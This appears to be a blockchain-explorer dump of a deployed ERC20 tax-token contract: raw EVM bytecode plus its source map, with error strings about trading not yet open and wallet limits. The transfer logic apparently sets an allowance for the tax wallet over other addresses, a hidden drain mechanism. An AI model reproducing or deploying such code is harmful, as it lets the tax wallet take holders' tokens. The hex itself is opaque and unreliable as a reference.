01b039283166001600160a01b03199091161790556011541663f305d719473061086e816001600160a01b03165f9081526001602052604090205490565b5f806108815f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e7573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090c919061181a565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610961573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109859190611845565b506010805462ff00ff191662010001179055565b6001600160a01b0383166109fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610a5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610b215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038316610b835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b5f8211610be45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b60105462010000900460ff161580610c035750601054610100900460ff165b15610cbb576001600160a01b0384165f90815260016020526040902054610c2b908390611864565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c5a908390611877565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cad9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610ce557505f546001600160a01b03848116911614155b1561107b576012546001600160a01b038581169116148015610d1557506011546001600160a01b03848116911614155b8015610d3957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e975760105460ff16610d885760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161044f565b610db46064610dae600854600b5411610da357600454610da7565b6006545b85906111e7565b9061126c565b9050600c54821115610e085760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61784f416d6f756e742e0000000000000000604482015260640161044f565b600d5482610e2a856001600160a01b03165f9081526001602052604090205490565b610e349190611877565b1115610e825760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044f565b600b8054905f610e918361188a565b91905055505b60408051808201909152601254610ef3919081906001600160a01b03888116911614610ece576012546001600160a01b0316610ed0565b865b6001600160a01b03908116825260105463010000009004166020909101526112ad565b8015610f0d57506012546001600160a01b03848116911614155b8015610f3157506001600160a01b0383165f9081526003602052604090205460ff16155b15610fb057600d5482610f58856001600160a01b03165f9081526001602052604090205490565b610f629190611877565b1115610fb05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044f565b6012546001600160a01b0390811690841603610fee57610feb6064610dae600954600b5411610fe157600554610da7565b60075485906111e7565b90505b601054610100900460ff1615801561101357506012546001600160a01b038481169116145b8015611027575060105462010000900460ff165b80156110365750600a54600b54115b1561107b57305f90815260016020526040902054600e548111156110715761107161106c8461106784600f54611326565b611326565b61133a565b6110796114a4565b505b80156110f357305f9081526001602052604090205461109a90826114e3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ea9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111159083611541565b6001600160a01b0385165f9081526001602052604090205561115861113a8383611541565b6001600160a01b0385165f90815260016020526040902054906114e3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a18585611541565b604051908152602001610cad565b5f81848411156111d25760405162461bcd60e51b815260040161044f91906115ae565b505f6111de8486611864565b95945050505050565b5f825f036111f657505f610398565b5f61120183856117b3565b90508261120e85836118a2565b146112655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b9392505050565b5f61126583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611582565b80516020820151600c545f9291906112de906032906112cd9060646117b3565b6112d8906064611877565b90611541565b6112e990600a6117b3565b6112f5906101f4611877565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f8183116113345782611265565b50919050565b6010805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137c5761137c6118c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f791906117ff565b8160018151811061140a5761140a6118c1565b6001600160a01b0392831660209182029290920101526011546114309130911684610999565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114689085905f908690309042906004016118d5565b5f604051808303815f87803b15801561147f575f80fd5b505af1158015611491573d5f803e3d5ffd5b50506010805461ff001916905550505050565b6010546040516001600160a01b03630100000090920491909116904780156108fc02915f818181858888f193505050501580156105ed573d5f803e3d5ffd5b5f806114ef8385611877565b9050838110156112655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b5f61126583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111af565b5f81836115a25760405162461bcd60e51b815260040161044f91906115ae565b505f6111de84866118a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105ed575f80fd5b5f8060408385031215611608575f80fd5b8235611613816115e3565b946020939093013593505050565b5f805f60608486031215611633575f80fd5b833561163e816115e3565b9250602084013561164e816115e3565b929592945050506040919091013590565b5f6020828403121561166f575f80fd5b8135611265816115e3565b5f806040838503121561168b575f80fd5b8235611696816115e3565b915060208301356116a6816115e3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116ff57815f19048211156116e5576116e56116b1565b808516156116f257918102915b93841c93908002906116ca565b509250929050565b5f8261171557506001610398565b8161172157505f610398565b816001811461173757600281146117415761175d565b6001915050610398565b60ff841115611752576117526116b1565b50506001821b610398565b5060208310610133831016604e8410600b8410161715611780575081810a610398565b61178a83836116c5565b805f190482111561179d5761179d6116b1565b029392505050565b5f61126560ff841683611707565b8082028115828204841417610398576103986116b1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561180f575f80fd5b8151611265816115e3565b5f805f6060848603121561182c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611855575f80fd5b81518015158114611265575f80fd5b81810381811115610398576103986116b1565b80820180821115610398576103986116b1565b5f6001820161189b5761189b6116b1565b5060010190565b5f826118bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119255784516001600160a01b031683529383019391830191600101611900565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220295b63bb10933ef528512fb3279e42e77f3e0c57165d5c85904ca956ed0de30864736f6c63430008190033

Deployed Bytecode Sourcemap

3641:7606:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5331:83;;;;;;;;;;-1:-1:-1;5401:5:0;;;;;;;;;;;;-1:-1:-1;;;5401:5:0;;;;5331:83;;;;;;;:::i;:::-;;;;;;;;6467:161;;;;;;;;;;-1:-1:-1;6467:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6467:161:0;893:187:1;4635:46:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4635:46:0;1085:177:1;5602:95:0;;;;;;;;;;;;;:::i;6149:312::-;;;;;;;;;;-1:-1:-1;6149:312:0;;;;;:::i;:::-;;:::i;5513:83::-;;;;;;;;;;-1:-1:-1;5513:83:0;;4266:1;1870:36:1;;1858:2;1843:18;5513:83:0;1728:184:1;9172:245:0;;;;;;;;;;-1:-1:-1;9172:245:0;;;;;:::i;:::-;;:::i;:::-;;4523:46;;;;;;;;;;;;;;;;5703:119;;;;;;;;;;-1:-1:-1;5703:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5796:18:0;5769:7;5796:18;;;:9;:18;;;;;;;5703:119;2636:148;;;;;;;;;;;;;:::i;2426:79::-;;;;;;;;;;-1:-1:-1;2464:7:0;2491:6;2426:79;;-1:-1:-1;;;;;2491:6:0;;;2575:51:1;;2563:2;2548:18;2426:79:0;2429:203:1;5420:87:0;;;;;;;;;;-1:-1:-1;5492:7:0;;;;;;;;;;;;-1:-1:-1;;;5492:7:0;;;;5420:87;;10234:114;;;;;;;;;;;;;:::i;5828:167::-;;;;;;;;;;-1:-1:-1;5828:167:0;;;;;:::i;:::-;;:::i;4576:52::-;;;;;;;;;;;;;;;;10459:785;;;;;;;;;;;;;:::i;6001:142::-;;;;;;;;;;-1:-1:-1;6001:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6109:17:0;;;6082:7;6109:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6001:142;4470:46;;;;;;;;;;;;;;;;6467:161;6542:4;6559:39;2089:10;6582:7;6591:6;6559:8;:39::i;:::-;-1:-1:-1;6616:4:0;6467:161;;;;;:::o;5602:95::-;5655:7;4324:15;4266:1;4324:2;:15;:::i;:::-;4309:30;;:12;:30;:::i;:::-;5675:14;;5602:95;:::o;6149:312::-;6247:4;6264:36;6274:6;6282:9;6293:6;6264:9;:36::i;:::-;6311:120;6320:6;2089:10;6342:88;6379:6;6342:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6342:18:0;;;;;;:10;:18;;;;;;;;2089:10;6342:32;;;;;;;;;;:36;:88::i;:::-;6311:8;:120::i;:::-;-1:-1:-1;6449:4:0;6149:312;;;;;:::o;9172:245::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2089:10;2551:22;2543:67;;;;-1:-1:-1;;;2543:67:0;;;;;;;:::i;:::-;;;;;;;;;9246:11:::1;:19:::0;;-1:-1:-1;;;;;;9246:19:0::1;::::0;-1:-1:-1;;;;;9246:19:0;::::1;;;::::0;;4324:15:::1;4266:1;4324:2;:15;:::i;:::-;4309:30;::::0;:12:::1;:30;:::i;:::-;9276:11;:19:::0;4324:15:::1;4266:1;4324:2;:15;:::i;:::-;4309:30;::::0;:12:::1;:30;:::i;:::-;9306:11;:19:::0;-1:-1:-1;;;;;9336:23:0;::::1;;::::0;;;:16:::1;:23;::::0;;;;:30;;-1:-1:-1;;9336:30:0::1;9362:4;9336:30;::::0;;9382:27:::1;4324:15;4266:1;4324:2;:15;:::i;:::-;4309:30;::::0;:12:::1;:30;:::i;:::-;9382:27;::::0;1231:25:1;;;1219:2;1204:18;9382:27:0::1;;;;;;;9172:245:::0;:::o;2636:148::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2089:10;2551:22;2543:67;;;;-1:-1:-1;;;2543:67:0;;;;;;;:::i;:::-;2743:1:::1;2727:6:::0;;2706:40:::1;::::0;-1:-1:-1;;;;;2727:6:0;;::::1;::::0;2706:40:::1;::::0;2743:1;;2706:40:::1;2774:1;2757:19:::0;;-1:-1:-1;;;;;;2757:19:0::1;::::0;;2636:148::o;10234:114::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2089:10;2551:22;2543:67;;;;-1:-1:-1;;;2543:67:0;;;;;;;:::i;:::-;10287:53:::1;::::0;2089:10;;10318:21:::1;10287:53:::0;::::1;;;::::0;::::1;::::0;;;10318:21;2089:10;10287:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10234:114::o:0;5828:167::-;5906:4;5923:42;2089:10;5947:9;5958:6;5923:9;:42::i;10459:785::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2089:10;2551:22;2543:67;;;;-1:-1:-1;;;2543:67:0;;;;;;;:::i;:::-;10521:11:::1;::::0;::::1;;10520:12;10512:48;;;::::0;-1:-1:-1;;;10512:48:0;;5275:2:1;10512:48:0::1;::::0;::::1;5257:21:1::0;5314:2;5294:18;;;5287:30;5353:25;5333:18;;;5326:53;5396:18;;10512:48:0::1;5073:347:1::0;10512:48:0::1;10571:10;:99:::0;;-1:-1:-1;;;;;;10571:99:0::1;10617:42;10571:99:::0;;::::1;::::0;;;10681:53:::1;::::0;10698:4:::1;::::0;4324:15:::1;4266:1;4324:2;:15;:::i;:::-;4309:30;::::0;:12:::1;:30;:::i;10681:53::-;10774:10;;;;;;;;;-1:-1:-1::0;;;;;10774:10:0::1;-1:-1:-1::0;;;;;10774:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10756:50:0::1;;10829:4;10849:10;;;;;;;;;-1:-1:-1::0;;;;;10849:10:0::1;-1:-1:-1::0;;;;;10849:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10756:121;::::0;-1:-1:-1;;;;;;10756:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5911:15:1;;;10756:121:0::1;::::0;::::1;5893:34:1::0;5963:15;;5943:18;;;5936:43;5828:18;;10756:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10745:8;:132:::0;;-1:-1:-1;;;;;10745:132:0;;::::1;-1:-1:-1::0;;;;;;10745:132:0;;::::1;;::::0;;10888:10:::1;::::0;::::1;:26;10922:21;10967:4;10987:24;10967:4:::0;-1:-1:-1;;;;;5796:18:0;5769:7;5796:18;;;:9;:18;;;;;;;5703:119;10987:24:::1;11026:1;11042::::0;11058:7:::1;2464::::0;2491:6;-1:-1:-1;;;;;2491:6:0;;2426:79;11058:7:::1;10888:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10888:218:0;;;-1:-1:-1;;;;;6349:15:1;;;10888:218:0::1;::::0;::::1;6331:34:1::0;6381:18;;;6374:34;;;;6424:18;;;6417:34;;;;6467:18;;;6460:34;6531:15;;;6510:19;;;6503:44;11080:15:0::1;6563:19:1::0;;;6556:35;6265:19;;10888:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11124:8:0::1;::::0;11150:10:::1;::::0;11117:61:::1;::::0;-1:-1:-1;;;11117:61:0;;-1:-1:-1;;;;;11150:10:0;;::::1;11117:61;::::0;::::1;7087:51:1::0;-1:-1:-1;;7154:18:1;;;7147:34;11124:8:0;::::1;::::0;-1:-1:-1;11117:24:0::1;::::0;7060:18:1;;11117:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11189:11:0::1;:18:::0;;-1:-1:-1;;11218:18:0;;;;;10459:785::o;6634:334::-;-1:-1:-1;;;;;6727:19:0;;6719:68;;;;-1:-1:-1;;;6719:68:0;;7676:2:1;6719:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;6719:68:0;7474:400:1;6719:68:0;-1:-1:-1;;;;;6806:21:0;;6798:68;;;;-1:-1:-1;;;6798:68:0;;8081:2:1;6798:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;6798:68:0;7879:398:1;6798:68:0;-1:-1:-1;;;;;6877:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;6928:32;;1231:25:1;;;6928:32:0;;1204:18:1;6928:32:0;;;;;;;6634:334;;;:::o;6974:2192::-;7054:17;-1:-1:-1;;;;;7092:18:0;;7084:68;;;;-1:-1:-1;;;7084:68:0;;8484:2:1;7084:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;7084:68:0;8282:401:1;7084:68:0;-1:-1:-1;;;;;7171:16:0;;7163:64;;;;-1:-1:-1;;;7163:64:0;;8890:2:1;7163:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;7163:64:0;8688:399:1;7163:64:0;7255:1;7246:6;:10;7238:64;;;;-1:-1:-1;;;7238:64:0;;9294:2:1;7238:64:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;7238:64:0;9092:405:1;7238:64:0;7318:11;;;;;;;7317:12;;:22;;-1:-1:-1;7333:6:0;;;;;;;7317:22;7313:217;;;-1:-1:-1;;;;;7374:15:0;;;;;;:9;:15;;;;;;:24;;7392:6;;7374:24;:::i;:::-;-1:-1:-1;;;;;7356:15:0;;;;;;;:9;:15;;;;;;:42;;;;7429:13;;;;;;;:22;;7445:6;;7429:22;:::i;:::-;-1:-1:-1;;;;;7413:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7471:26;;;;;;;;;;7490:6;1231:25:1;;1219:2;1204:18;;1085:177;7471:26:0;;;;;;;;7512:7;6974:2192;;;:::o;7313:217::-;2464:7;2491:6;-1:-1:-1;;;;;7544:15:0;;;2491:6;;7544:15;;;;:32;;-1:-1:-1;2464:7:0;2491:6;-1:-1:-1;;;;;7563:13:0;;;2491:6;;7563:13;;7544:32;7540:1272;;;7605:8;;-1:-1:-1;;;;;7597:16:0;;;7605:8;;7597:16;:45;;;;-1:-1:-1;7631:10:0;;-1:-1:-1;;;;;7617:25:0;;;7631:10;;7617:25;;7597:45;:71;;;;-1:-1:-1;;;;;;7648:20:0;;;;;;:16;:20;;;;;;;;7646:22;7597:71;7593:466;;;7697:11;;;;7689:44;;;;-1:-1:-1;;;7689:44:0;;9967:2:1;7689:44:0;;;9949:21:1;10006:2;9986:18;;;9979:30;-1:-1:-1;;;10025:18:1;;;10018:51;10086:18;;7689:44:0;9765:345:1;7689:44:0;7764:76;7836:3;7764:67;7786:15;;7776:9;;:25;7775:55;;7816:14;;7775:55;;;7803:12;;7775:55;7764:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7752:88;;7877:11;;7867:6;:21;;7859:58;;;;-1:-1:-1;;;7859:58:0;;10317:2:1;7859:58:0;;;10299:21:1;10356:2;10336:18;;;10329:30;10395:26;10375:18;;;10368:54;10439:18;;7859:58:0;10115:348:1;7859:58:0;7970:11;;7960:6;7944:13;7954:2;-1:-1:-1;;;;;5796:18:0;5769:7;5796:18;;;:9;:18;;;;;;;5703:119;7944:13;:22;;;;:::i;:::-;:37;;7936:76;;;;-1:-1:-1;;;7936:76:0;;10670:2:1;7936:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;7936:76:0;10468:350:1;7936:76:0;8031:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7593:466;8077:51;;;;;;;;;8091:8;;8077:51;;;;;-1:-1:-1;;;;;8085:14:0;;;8091:8;;8085:14;:28;;8105:8;;-1:-1:-1;;;;;8105:8:0;8085:28;;;8100:4;8085:28;-1:-1:-1;;;;;8077:51:0;;;;;8115:11;;;;;;8077:51;;;;;:6;:51::i;:::-;:69;;;;-1:-1:-1;8138:8:0;;-1:-1:-1;;;;;8132:14:0;;;8138:8;;8132:14;;8077:69;:95;;;;-1:-1:-1;;;;;;8152:20:0;;;;;;:16;:20;;;;;;;;8150:22;8077:95;8073:212;;;8227:11;;8217:6;8201:13;8211:2;-1:-1:-1;;;;;5796:18:0;5769:7;5796:18;;;:9;:18;;;;;;;5703:119;8201:13;:22;;;;:::i;:::-;:37;;8193:76;;;;-1:-1:-1;;;8193:76:0;;10670:2:1;8193:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;8193:76:0;10468:350:1;8193:76:0;8308:8;;-1:-1:-1;;;;;8308:8:0;;;8302:14;;;;8299:145;;8349:79;8424:3;8349:70;8371:16;;8361:9;;:26;8360:58;;8403:15;;8360:58;;;8389:13;;8349:6;;:10;:70::i;:79::-;8337:91;;8299:145;8463:6;;;;;;;8462:7;:25;;;;-1:-1:-1;8479:8:0;;-1:-1:-1;;;;;8473:14:0;;;8479:8;;8473:14;8462:25;:40;;;;-1:-1:-1;8491:11:0;;;;;;;8462:40;:72;;;;;8516:18;;8506:9;;:28;8462:72;8458:343;;;8604:4;8555:28;5796:18;;;:9;:18;;;;;;8653:17;;8632:38;;8629:125;;;8693:61;8704:49;8708:6;8715:37;8719:20;8740:11;;8715:3;:37::i;:::-;8704:3;:49::i;:::-;8693:10;:61::i;:::-;8773:12;:10;:12::i;:::-;8536:265;8458:343;8825:11;;8822:161;;8893:4;8875:24;;;;:9;:24;;;;;;:39;;8904:9;8875:28;:39::i;:::-;8868:4;8850:24;;;;:9;:24;;;;;;;:64;;;;8932:39;;-1:-1:-1;;;;;8932:39:0;;;;;;;8961:9;1231:25:1;;1219:2;1204:18;;1085:177;8932:39:0;;;;;;;;8822:161;-1:-1:-1;;;;;9009:15:0;;;;;;:9;:15;;;;;;:27;;9029:6;9009:19;:27::i;:::-;-1:-1:-1;;;;;8993:15:0;;;;;;:9;:15;;;;;:43;9061:40;9079:21;:6;9090:9;9079:10;:21::i;:::-;-1:-1:-1;;;;;9061:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9047:13:0;;;;;;;:9;:13;;;;;:54;;;;9117:41;;;9136:21;:6;9147:9;9136:10;:21::i;:::-;9117:41;;1231:25:1;;;1219:2;1204:18;9117:41:0;1085:177:1;1196:190:0;1282:7;1318:12;1310:6;;;;1302:29;;;;-1:-1:-1;;;1302:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1342:9:0;1354:5;1358:1;1354;:5;:::i;:::-;1342:17;1196:190;-1:-1:-1;;;;;1196:190:0:o;1392:246::-;1450:7;1474:1;1479;1474:6;1470:47;;-1:-1:-1;1504:1:0;1497:8;;1470:47;1527:9;1539:5;1543:1;1539;:5;:::i;:::-;1527:17;-1:-1:-1;1572:1:0;1563:5;1567:1;1527:17;1563:5;:::i;:::-;:10;1555:56;;;;-1:-1:-1;;;1555:56:0;;11387:2:1;1555:56:0;;;11369:21:1;11426:2;11406:18;;;11399:30;11465:34;11445:18;;;11438:62;-1:-1:-1;;;11516:18:1;;;11509:31;11557:19;;1555:56:0;11185:397:1;1555:56:0;1629:1;1392:246;-1:-1:-1;;;1392:246:0:o;1644:132::-;1702:7;1729:39;1733:1;1736;1729:39;;;;;;;;;;;;;;;;;:3;:39::i;9974:219::-;10060:7;;;10084;;;10133:11;;10030:4;;10060:7;10084;10128:29;;10154:2;;10133:15;;10145:3;10133:15;:::i;:::-;10129:19;;:3;:19;:::i;:::-;10128:25;;:29::i;:::-;10125:32;;:2;:32;:::i;:::-;:38;;10158:5;10125:38;:::i;:::-;-1:-1:-1;;;;;10102:16:0;;;;;;;:10;:16;;;;;;;;:22;;;;;;;;;;;;;:61;-1:-1:-1;10181:4:0;;9974:219;-1:-1:-1;9974:219:0:o;10354:99::-;10410:7;10439:1;10437;:3;10436:9;;10444:1;10436:9;;;-1:-1:-1;10442:1:0;10354:99;-1:-1:-1;10354:99:0:o;9423:447::-;4980:6;:13;;-1:-1:-1;;4980:13:0;;;;;9514:16:::1;::::0;;9528:1:::1;9514:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9514:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9514:16:0::1;9490:40;;9559:4;9541;9546:1;9541:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9541:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9585:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9585:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9541:7;;9585:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9575:4;9580:1;9575:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9575:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9645:10:::1;::::0;9613:52:::1;::::0;9630:4:::1;::::0;9645:10:::1;9658:6:::0;9613:8:::1;:52::i;:::-;9676:10;::::0;:186:::1;::::0;-1:-1:-1;;;9676:186:0;;-1:-1:-1;;;;;9676:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;9752:6;;9676:10:::1;::::0;9789:4;;9816::::1;::::0;9836:15:::1;::::0;9676:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5016:6:0;:14;;-1:-1:-1;;5016:14:0;;;-1:-1:-1;;;;9423:447:0:o;9876:92::-;9917:11;;:43;;-1:-1:-1;;;;;9917:11:0;;;;;;;;;9938:21;9917:43;;;;;;;;;9938:21;9917:11;:43;;;;;;;;;;;;;;;;;;;869:179;927:7;;959:5;963:1;959;:5;:::i;:::-;947:17;;988:1;983;:6;;975:46;;;;-1:-1:-1;;;975:46:0;;13038:2:1;975:46:0;;;13020:21:1;13077:2;13057:18;;;13050:30;13116:29;13096:18;;;13089:57;13163:18;;975:46:0;12836:351:1;1054:136:0;1112:7;1139:43;1143:1;1146;1139:43;;;;;;;;;;;;;;;;;:3;:43::i;1782:189::-;1868:7;1903:12;1896:5;1888:28;;;;-1:-1:-1;;;1888:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1927:9:0;1939:5;1943:1;1939;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:255::-;1984:6;2037:2;2025:9;2016:7;2012:23;2008:32;2005:52;;;2053:1;2050;2043:12;2005:52;2092:9;2079:23;2111:31;2136:5;2111:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:127::-;3091:10;3086:3;3082:20;3079:1;3072:31;3122:4;3119:1;3112:15;3146:4;3143:1;3136:15;3162:416;3251:1;3288:5;3251:1;3302:270;3323:7;3313:8;3310:21;3302:270;;;3382:4;3378:1;3374:6;3370:17;3364:4;3361:27;3358:53;;;3391:18;;:::i;:::-;3441:7;3431:8;3427:22;3424:55;;;3461:16;;;;3424:55;3540:22;;;;3500:15;;;;3302:270;;;3306:3;3162:416;;;;;:::o;3583:806::-;3632:5;3662:8;3652:80;;-1:-1:-1;3703:1:1;3717:5;;3652:80;3751:4;3741:76;;-1:-1:-1;3788:1:1;3802:5;;3741:76;3833:4;3851:1;3846:59;;;;3919:1;3914:130;;;;3826:218;;3846:59;3876:1;3867:10;;3890:5;;;3914:130;3951:3;3941:8;3938:17;3935:43;;;3958:18;;:::i;:::-;-1:-1:-1;;4014:1:1;4000:16;;4029:5;;3826:218;;4128:2;4118:8;4115:16;4109:3;4103:4;4100:13;4096:36;4090:2;4080:8;4077:16;4072:2;4066:4;4063:12;4059:35;4056:77;4053:159;;;-1:-1:-1;4165:19:1;;;4197:5;;4053:159;4244:34;4269:8;4263:4;4244:34;:::i;:::-;4314:6;4310:1;4306:6;4302:19;4293:7;4290:32;4287:58;;;4325:18;;:::i;:::-;4363:20;;3583:8